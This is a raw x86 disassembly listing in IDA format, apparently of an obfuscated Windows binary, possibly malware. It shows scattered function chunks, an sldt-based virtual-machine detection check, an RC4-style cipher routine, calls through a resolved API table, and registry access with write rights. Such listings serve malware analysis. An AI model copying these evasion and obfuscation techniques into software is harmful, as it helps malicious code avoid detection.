; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD1C4:				; CODE XREF: sub_9B1A08+47E9j
		push	[ebp+var_41F0]
		pop	eax
		and	eax, eax
		jnz	loc_9B06BF
		jmp	off_9BA5FC
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AD1DC:				; CODE XREF: sub_9B3864-6C22j
		mov	edx, [ebp+var_2028]
		test	edx, edx
		mov	edx, [ebp+var_2020]
		jnz	loc_9AE83C
		jmp	loc_9AF808
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9AD1F8:				; CODE XREF: sub_9AD11C+2967j
					; DATA XREF: .text:off_9B96D8o
		mov	eax, edi


loc_9AD1FA:				; CODE XREF: sub_9AD11C+2961j
		mov	ecx, [esp+1Ch+var_4]
		pop	edi
		xor	ecx, esp
		call	sub_9AAAC1
		add	esp, 18h
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AD20C:				; CODE XREF: sub_9B1D80-4ACFj
					; DATA XREF: .text:off_9BB050o
		mov	edx, [edi+4]
		push	edx
		pop	eax
		call	sub_9B327C
		test	eax, eax
		jnz	loc_9B1D5B
		jmp	loc_9AF8D0
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9AD224:				; CODE XREF: sub_9B04A8-2F6Dj
					; DATA XREF: .text:off_9B9441o
		mov	edx, [ebp-4050h]
		push	edx
		push	edi
		lea	eax, [ebp-201Ch]
		push	eax
		push	0Ah
		pop	eax
		call	sub_9B3F28
		mov	ebx, eax
		mov	[ebp-404Ch], ebx
		test	bl, 4
		jnz	loc_9B01B8
		jmp	loc_9B1CDC
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD254:				; CODE XREF: sub_9B0930+2365j
		mov	edx, [eax+14h]
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	loc_9B633C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9AD268:				; CODE XREF: sub_9AD11C+34j
		push	1
		pop	eax
		push	[esp+18h+var_4]
		pop	ecx
		xor	ecx, esp
		call	sub_9AAAC1
		add	esp, 18h
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AD280:				; CODE XREF: sub_9AC32C+8D18j
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		lea	eax, [esp+324h+var_30C]
		push	eax
		push	esi
		call	dword ptr [edx+58h]
		or	eax, eax
		jz	loc_9B4127
		jmp	off_9B96F0
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AD2A0:				; CODE XREF: sub_9B1D80-2046j
		push	dword ptr [ebp-2044h]
		pop	ecx
		test	byte ptr [ecx+8], 2
		jnz	loc_9B1D5B
		jmp	off_9BB050
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD2B8	proc near		; CODE XREF: sub_9B2118-1B44p

arg_0		= dword	ptr  4

		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9B94D7
		call	dword ptr [ecx+68h]
		push	[esp+arg_0]
		pop	eax
		sub	edx, edx
		mov	dword_9BF380, edx
		mov	dword_9BF384, edx
		mov	dword_9BF388, edx
		mov	dword_9BF38C, edx
		mov	dword_9BF390, edx
		mov	dword_9BF394, edx
		mov	word_9BF398, dx
		mov	dword_9BF38C+2,	eax
		retn	4
sub_9AD2B8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AD304:				; CODE XREF: sub_9AB1A0+5EA1j
					; sub_9AB1A0+70B9j ...
		sub	edi, edi
		mov	[ebp-1Ch], edi


loc_9AD309:				; CODE XREF: sub_9AB1A0+70B3j
		and	edi, edi
		jz	loc_9B5F54
		jmp	off_9B8C85
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AD318:				; CODE XREF: sub_9B4FD0-4173j
		xor	ecx, ecx
		call	sub_9B4610
		xor	eax, eax


loc_9AD321:				; CODE XREF: sub_9B4FD0-243j
		mov	[ebp-22Ch], eax
		cmp	eax, 40h
		jnb	loc_9B5710
		jmp	off_9B9970
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9AD33B:				; CODE XREF: sub_9B3A74-3693j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9BADC8
		call	dword ptr [eax+1Ch]
		mov	eax, [ebp-128h]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AD37C:				; CODE XREF: sub_9ADAC4+223j
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9B0BD3
		jmp	off_9BAED5
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
		shr	edx, 5
		push	edx
		pop	ecx
		and	ecx, 1Fh
		mov	eax, 1
		shl	eax, cl
		shr	edx, 5
		and	eax, dword_9BA4E8[edx*4]
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9AD3A8:				; CODE XREF: sub_9AEDD0+3152j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BAD92
		mov	esi, 1
		call	dword ptr [eax+1Ch]
		push	esi
		pop	eax
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AD3C4:				; CODE XREF: sub_9B4950-8899j
					; sub_9B4950-129Cj
		call	sub_9B46CC
		mov	[ebp-3Ch], eax
		cmp	eax, [ebp-20h]
		jz	loc_9B2944
		jmp	off_9B8EDE
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AD3DC:				; CODE XREF: sub_9B3864+1A63j
					; DATA XREF: .text:off_9BA611o
		sub	ecx, ecx
		cmp	ebx, ecx
		jz	loc_9AE2AC
		jmp	loc_9B01F8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD3EC	proc near		; CODE XREF: sub_9B6078-56BDp
					; sub_9B3E78-307Dp

; FUNCTION CHUNK AT 009AF494 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B122C SIZE 00000049 BYTES
; FUNCTION CHUNK AT 009B18BC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B4093 SIZE 0000001E BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BB097
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		call	sub_9AEBB8
		xor	eax, 3D8E2ED2h
		add	eax, [ebp+8]
		sub	edx, edx
		mov	[ebp-1Ch], eax


loc_9AD42D:				; CODE XREF: sub_9AD3EC+44DAj
		mov	[ebp-20h], edx
		cmp	edx, 80h
		jnb	loc_9B122C
		jmp	loc_9AF494
sub_9AD3EC	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AD444:				; CODE XREF: sub_9B2F1C-54B2j
					; DATA XREF: .text:off_9BA02Do
		mov	edx, [ebp+0Ch]
		mov	dword ptr [edx], 0
		jmp	loc_9B528F
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AD454:				; CODE XREF: sub_9ADAC4+BFFj
					; DATA XREF: .text:off_9BADA4o
		lea	esi, [ebp+edi*4-84h]
		mov	eax, [esi]
		test	eax, eax
		jz	loc_9AAFA3
		jmp	off_9B896F
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD46C:				; CODE XREF: sub_9B1A08-68A1j
		mov	ecx, edi
		lea	esi, [ebp+var_201C]
		push	eax
		pop	edi
		push	ecx
		pop	edx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_9AD484:				; CODE XREF: sub_9B1A08-68A7j
					; sub_9B1A08-30AAj ...
		mov	eax, [ebp+var_41E0]
		test	eax, eax
		jbe	loc_9AF398
		jmp	off_9B97E1
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AD498:				; CODE XREF: sub_9B562C-4E38j
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	edi
		push	40h
		call	dword ptr [ecx+7Ch]
		mov	esi, eax
		mov	[ebp+var_138], esi
		cmp	esi, ebx
		jz	loc_9AECDF
		jmp	off_9BAC79
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 10h


loc_9AD4C0:				; CODE XREF: .text:009AB50Ej
		sldt	ax
		or	ax, ax
		setnz	al
		movzx	eax, al
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B6504


loc_9AD4D0:				; CODE XREF: sub_9B6504-5B7j
					; DATA XREF: .text:off_9B9781o
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	4E20h
		call	dword ptr [ecx+4]
		jmp	loc_9B1C93
; END OF FUNCTION CHUNK	FOR sub_9B6504
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AD4EB:				; CODE XREF: sub_9ADAC4-21CEj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	0
		call	dword ptr [ecx+60h]
		xor	eax, eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9AD524:				; CODE XREF: sub_9B04A8+1A2Bj
					; DATA XREF: .text:off_9BA911o
		mov	dword ptr [ebp-4040h], 0


loc_9AD52E:				; CODE XREF: sub_9B04A8+183Aj
		cmp	dword ptr [ebp-4040h], 3
		jge	loc_9B18E8
		jmp	off_9B9441
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9AD544:				; CODE XREF: sub_9B43F4-5C49j
		push	esi
		pop	edx
		mov	ecx, ebx
		call	sub_9AFB1C
		test	byte ptr [ebx+18h], 2
		jz	loc_9B3B10
		jmp	loc_9AF974
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD55C:				; CODE XREF: sub_9B0930+479Bj
		push	off_9BA421
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+28h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		mov	ecx, [eax+28h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B23C0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AD590	proc near		; CODE XREF: sub_9B1F68-6881p
					; sub_9ADAC4+22D3p ...

arg_0		= dword	ptr  4

		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		mov	eax, [esp+arg_0]
		push	edx
		mov	edx, [eax+4]
		push	edx
		call	dword ptr [ecx+28h]
		xor	ecx, ecx
		cmp	eax, 102h
		setnz	cl
		mov	eax, ecx
		retn	4
sub_9AD590	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9AD5B4:				; CODE XREF: sub_9ABD30+4A7Fj
		add	esi, eax
		cmp	esi, 2
		jl	loc_9B4713
		jmp	off_9B998E
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD5C8:				; CODE XREF: sub_9B1A08-2058j
		dec	esi
		mov	[ebp+var_41F0],	esi
		push	[ebp+esi*4+var_43B4]
		pop	edi
		mov	[ebp+var_4214],	edi
		call	sub_9B46CC
		mov	[ebp+var_4210],	eax
		push	eax
		mov	eax, edi
		lea	esi, [ebp+var_4224]
		call	sub_9AC250
		call	sub_9B45AC
		shl	eax, 1
		not	eax
		and	eax, 2
		or	eax, 1
		sub	edx, edx
		mov	dx, [ebp+eax*4+var_4224]
		push	edx
		push	edi
		pop	edx
		sub	eax, eax
		lea	esi, [ebp+var_402C]
		call	sub_9B1334
		mov	esi, [ebp+var_41EC]
		test	esi, esi
		jnz	loc_9B351C
		jmp	loc_9AC380
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AD634:				; CODE XREF: sub_9B63D8-4B53j
		push	dword ptr [ebp-2148h]
		pop	eax
		test	eax, eax
		jnz	loc_9B0304
		jmp	off_9B8D10
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AD64C:				; CODE XREF: sub_9ADAC4+503Dj
		or	esi, 0FFFFFFFFh
		mov	[ebp-48h], esi
		sub	eax, eax


loc_9AD654:				; CODE XREF: sub_9ADAC4+1F31j
		mov	[ebp-40h], eax
		cmp	eax, 0Ah
		jge	loc_9ABE35
		jmp	off_9B9559
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2C70


loc_9AD668:				; CODE XREF: sub_9B2C70+Fj
					; DATA XREF: .text:off_9B8D42o
		push	eax
		push	ebx
		call	sub_9B0E7C
		push	dword ptr [ebp-38h]
		pop	eax
		push	eax
		push	ebx
		push	off_9BA0BD
		call	sub_9ABF08
		mov	[edi+ebp-248h],	eax
		test	eax, eax
		jnz	loc_9B01DE
		jmp	loc_9AE9B4
; END OF FUNCTION CHUNK	FOR sub_9B2C70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9AD694:				; CODE XREF: sub_9B27D8+1C13j
					; DATA XREF: .text:off_9B8D69o
		call	dword ptr [eax+18h]
		push	off_9B97DD
		pop	eax
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9B8ED2
		push	eax
		pop	esi
		call	dword ptr [edx+1Ch]
		push	esi
		pop	eax
		xor	edx, edx
		push	0Ah
		pop	ecx
		div	ecx
		or	edx, edx
		jnz	loc_9AB32B
		jmp	off_9B9868
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AD6D0:				; CODE XREF: sub_9B3EFC-5FA1j
					; DATA XREF: .text:off_9BAB6Eo
		cmp	eax, 0FFFFFDh
		jz	short loc_9AD6E0
		jmp	off_9B9449
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AD6E0:				; CODE XREF: sub_9B3EFC-8BF2j
					; sub_9B3EFC-6827j ...
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AD6E8:				; CODE XREF: sub_9B63D8-93EDj
					; DATA XREF: .text:off_9B8D65o
		mov	eax, ebx
		call	sub_9B327C
		and	eax, eax
		jnz	loc_9AF944
		jmp	loc_9B5A74
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF5E4


loc_9AD704:				; CODE XREF: sub_9AF5E4+Bj
		push	dword_9BA79C
		pop	edx
		mov	[edi], edx
		mov	eax, dword_9BA7A0
		mov	[edi+4], eax
		mov	ecx, dword_9BA7A4
		mov	[edi+8], ecx
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		push	off_9B8ED2
		call	dword ptr [eax+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	off_9B8ED2
		push	eax
		pop	esi
		call	dword ptr [edx+1Ch]
		mov	eax, esi
		sub	edx, edx
		push	3
		pop	ecx
		div	ecx
		mov	edx, off_9B90BC[edx*4]
		mov	eax, edx


loc_9AD761:				; CODE XREF: sub_9AF5E4:loc_9B09DCj
		mov	cl, [edx]
		inc	edx
		or	cl, cl
		jmp	loc_9B09DC
; END OF FUNCTION CHUNK	FOR sub_9AF5E4
; ---------------------------------------------------------------------------
		align 4
		push	dword_9BCB98
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9AD774:				; CODE XREF: sub_9AC250+5137j
					; DATA XREF: .text:off_9B9264o
		push	dword ptr [esi+4]
		pop	ecx
		cmp	ecx, edi
		jz	loc_9B536C
		jmp	loc_9AF174
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD788:				; CODE XREF: sub_9B1A08+4003j
		xor	esi, esi


loc_9AD78A:				; CODE XREF: sub_9B1A08+3FA4j
		mov	[ebp+var_41E8],	esi
		cmp	esi, [ebp+var_41E0]
		jnb	loc_9B47A0
		jmp	off_9B91AA
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD7A4	proc near		; CODE XREF: sub_9B27D8-7497p
					; sub_9AB3B0+2Bp ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

; FUNCTION CHUNK AT 009B2E90 SIZE 00000069 BYTES

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		inc	cl
		mov	[eax], cl
		mov	bl, [eax+1]
		movzx	ecx, cl
		mov	dl, [eax+ecx+2]
		add	bl, dl
		mov	[eax+1], bl
		mov	dl, bl
		lea	ecx, [eax+ecx+2]
		mov	bl, [ecx]
		movzx	edx, dl
		mov	dl, [eax+edx+2]
		mov	[ecx], dl
		movzx	ecx, byte ptr [eax+1]
		mov	[eax+ecx+2], bl
		mov	cl, [eax]
		movzx	edx, byte ptr [eax+1]
		movzx	esi, cl
		mov	dl, [eax+edx+2]
		add	dl, [eax+esi+2]
		inc	cl
		movzx	edx, dl
		mov	dl, [eax+edx+2]
		mov	[eax], cl
		movzx	ecx, cl
		mov	bl, [eax+ecx+2]
		add	[eax+1], bl
		mov	bl, [eax+1]
		lea	ecx, [eax+ecx+2]
		mov	[esp+10h+var_4], bl
		mov	bl, [ecx]
		movzx	esi, [esp+10h+var_4]
		mov	[esp+10h+var_3], bl
		mov	bl, [eax+esi+2]
		mov	[ecx], bl
		movzx	ecx, byte ptr [eax+1]
		mov	bl, [esp+10h+var_3]
		mov	[eax+ecx+2], bl
		mov	cl, [eax]
		movzx	esi, byte ptr [eax+1]
		movzx	edi, cl
		mov	bl, [eax+esi+2]
		add	bl, [eax+edi+2]
		inc	cl
		movzx	esi, bl
		mov	bl, [eax+esi+2]
		mov	[eax], cl
		movzx	ecx, cl
		mov	[esp+10h+var_2], bl
		mov	bl, [eax+ecx+2]
		add	[eax+1], bl
		mov	bl, [eax+1]
		lea	ecx, [eax+ecx+2]
		mov	[esp+10h+var_3], bl
		mov	bl, [ecx]
		movzx	esi, [esp+10h+var_3]
		mov	[esp+10h+var_4], bl
		mov	bl, [eax+esi+2]
		mov	[ecx], bl
		movzx	ecx, byte ptr [eax+1]
		mov	bl, [esp+10h+var_4]
		mov	[eax+ecx+2], bl
		mov	cl, [eax]
		movzx	edi, cl
		movzx	esi, byte ptr [eax+1]
		mov	bl, [eax+esi+2]
		add	bl, [eax+edi+2]
		inc	cl
		movzx	esi, bl
		mov	bl, [eax+esi+2]
		jmp	off_9BAC17
sub_9AD7A4	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD898:				; CODE XREF: sub_9B1A08-426Cj
					; DATA XREF: .text:off_9B91AAo
		lea	edi, [esi+esi*4]
		shl	edi, 3
		lea	ebx, [edi+ebp-41BCh]
		cmp	dword ptr [ebx], 0
		jz	loc_9B59AB
		jmp	loc_9AEEE8
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9AD8BC:				; CODE XREF: sub_9B3984+78j
		push	[ebp+var_4058]
		pop	eax
		push	eax
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9AB89C
		jmp	loc_9AE544
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9AD8D8:				; CODE XREF: sub_9B5480-6AD5j
					; DATA XREF: .text:off_9BAC29o
		call	sub_9AC448


loc_9AD8DD:				; CODE XREF: sub_9B5480-6ADBj
		push	dword ptr [esi]
		pop	eax
		push	dword ptr [eax+48h]
		pop	eax
		test	eax, eax
		jz	loc_9AB85D
		jmp	off_9B8900
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF5E4


loc_9AD8F4:				; CODE XREF: sub_9AF5E4+1EE1j
		push	edx
		pop	ecx
		shr	ecx, 2
		mov	esi, eax
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9B8ED2
		call	dword ptr [eax+18h]
		push	off_9B97DD
		pop	eax
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	off_9B8ED2
		mov	esi, eax
		call	dword ptr [edx+1Ch]
		sub	edx, edx
		push	esi
		pop	eax
		push	3
		pop	ecx
		div	ecx
		mov	edx, off_9BA42C[edx*4]
		push	edx
		pop	eax


loc_9AD948:				; CODE XREF: sub_9AF5E4-1C97j
		mov	cl, [edx]
		inc	edx
		test	cl, cl
		jnz	short loc_9AD948
		jmp	off_9B8945
; END OF FUNCTION CHUNK	FOR sub_9AF5E4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AD958:				; CODE XREF: sub_9B1D80-5919j
					; DATA XREF: .text:off_9BA4E1o
		cmp	esi, 11h
		jnz	loc_9AE945
		jmp	loc_9B610C
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD968:				; CODE XREF: sub_9B0930+2469j
					; DATA XREF: .text:off_9B97D9o
		mov	edx, [eax+8]
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	off_9B88D0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9AD97C	proc near		; CODE XREF: sub_9AFF64+4F5p
					; sub_9AFF64+51Fp

; FUNCTION CHUNK AT 009AC184 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AF884 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B0218 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B1634 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B454B SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B51E4 SIZE 00000008 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8CAD
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		mov	[ebp-18h], esp
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	[ebp-4], esi
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+0Ch]
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	20006h
		push	esi
		push	dword ptr [ebp+0Ch]
		pop	edx
		push	edx
		mov	ecx, [ebp+8]
		jmp	loc_9B0218
sub_9AD97C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD9E4:				; CODE XREF: sub_9B0930-5B10j
					; DATA XREF: .text:off_9B99FAo
		push	dword ptr [eax+0Ch]
		pop	edx
		and	edx, edx
		jz	loc_9B23EF
		jmp	loc_9AE254
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AD9F8:				; CODE XREF: sub_9B3864-86D4j
					; sub_9B3864-4425j
					; DATA XREF: ...
		cmp	edi, 6
		jnz	loc_9B36C8
		jmp	off_9B96C8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9ADA08:				; CODE XREF: sub_9B04A8+3EB5j
					; sub_9B04A8+4093j
		push	dword ptr [ebp-4044h]
		pop	eax
		test	eax, eax
		jz	loc_9AFD43
		jmp	off_9B8F5C
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9ADA23:				; CODE XREF: sub_9ACF9C+37j
					; sub_9ACF9C+1FE6j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9ADA40:				; CODE XREF: sub_9B2F1C-3996j
					; DATA XREF: .text:off_9B8DDFo
		mov	cl, [ebp+28h]
		mov	[esi+eax], cl
		inc	eax
		mov	[ebp-1Ch], eax
		mov	cx, [ebp+2Ch]
		mov	[esi+eax], cx
		movzx	ecx, cx
		add	eax, 2
		mov	[ebp-1Ch], eax
		lea	edx, [eax+ecx]
		cmp	edx, 1FFCh
		jbe	loc_9B22F0
		jmp	off_9BA02D
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9ADA70:				; CODE XREF: sub_9AEAAC+4Ej
		lea	edx, [eax+eax*4]
		mov	dword_9BEC20[edx*8], ecx
		inc	eax
		jmp	loc_9AEAEE
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9ADA80:				; CODE XREF: sub_9B3984-7B59j
		lea	ecx, [ebp+var_404C]
		push	ecx
		push	ebx
		push	6
